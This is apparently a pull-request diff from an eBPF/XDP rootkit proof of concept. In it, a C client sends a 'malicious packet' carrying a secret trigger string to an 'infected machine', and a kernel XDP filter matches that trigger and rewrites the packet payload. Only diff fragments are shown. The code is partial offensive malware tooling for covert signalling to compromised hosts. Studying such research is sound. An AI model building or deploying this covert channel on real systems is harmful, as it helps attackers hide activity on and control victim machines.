Fixed the client, now the payload shrinking is fully working, also the bug previously found seems to be nothing but an error of mine. Ready to merge!

src/client/client.c

@@ -124,13 +124,13 @@ void send_secret_packet(char* argv){
     char* local_ip = getLocalIpAddress();
     printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
     check_ip_address_format(argv);
-    packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, SECRET_PACKET_PAYLOAD);
+    packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, SECRET_PACKET_PAYLOAD);
     printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
     //Sending the malicious payload
     if(rawsocket_send(packet)<0){
         printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
     }else{
-        printf("["KGRN"OK"RESET"]""Request to unhide successfully sent!\n");
+        printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
     }
     free(local_ip);
 }

src/constants/constants.h

@@ -3,6 +3,6 @@
 
 #define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
 #define SECRET_PACKET_DEST_PORT 9000
-#define SUBSTITUTION_NEW_PAYLOAD "Nope"
+#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
 
 #endif

src/ebpf/xdp_filter.bpf.c

@@ -60,8 +60,7 @@ int xdp_receive(struct xdp_md *ctx)
     
     void *data_end = (void *)(long)ctx->data_end;
     void *data = (void *)(long)ctx->data;
-    char match_pattern[] = SECRET_PACKET_PAYLOAD;
-    int match_pattern_size = 5;
+
     unsigned int payload_size;
     struct ethhdr *eth = data;
     char *payload;
@@ -100,9 +99,9 @@ int xdp_receive(struct xdp_md *ctx)
     payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
     payload = (void *)tcp + tcp->doff*4;
 
-    // We use "size - 1" to account for the final '\0'
-    if (payload_size != sizeof(match_pattern) - 1) {
-        bpf_printk("F");
+    // We use "size - 1" to account for the final '\0', but depending on the program use
+    if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
+        bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
         return XDP_PASS;
     }
 
@@ -113,7 +112,7 @@ int xdp_receive(struct xdp_md *ctx)
 
     bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
     // Compare each byte, exit if a difference is found.
-    if(str_n_compare(payload, payload_size, match_pattern, sizeof(match_pattern), payload_size)!=0){
+    if(str_n_compare(payload, payload_size, SECRET_PACKET_PAYLOAD, sizeof(SECRET_PACKET_PAYLOAD), payload_size)!=0){
         bpf_printk("H");
         return XDP_PASS;
     }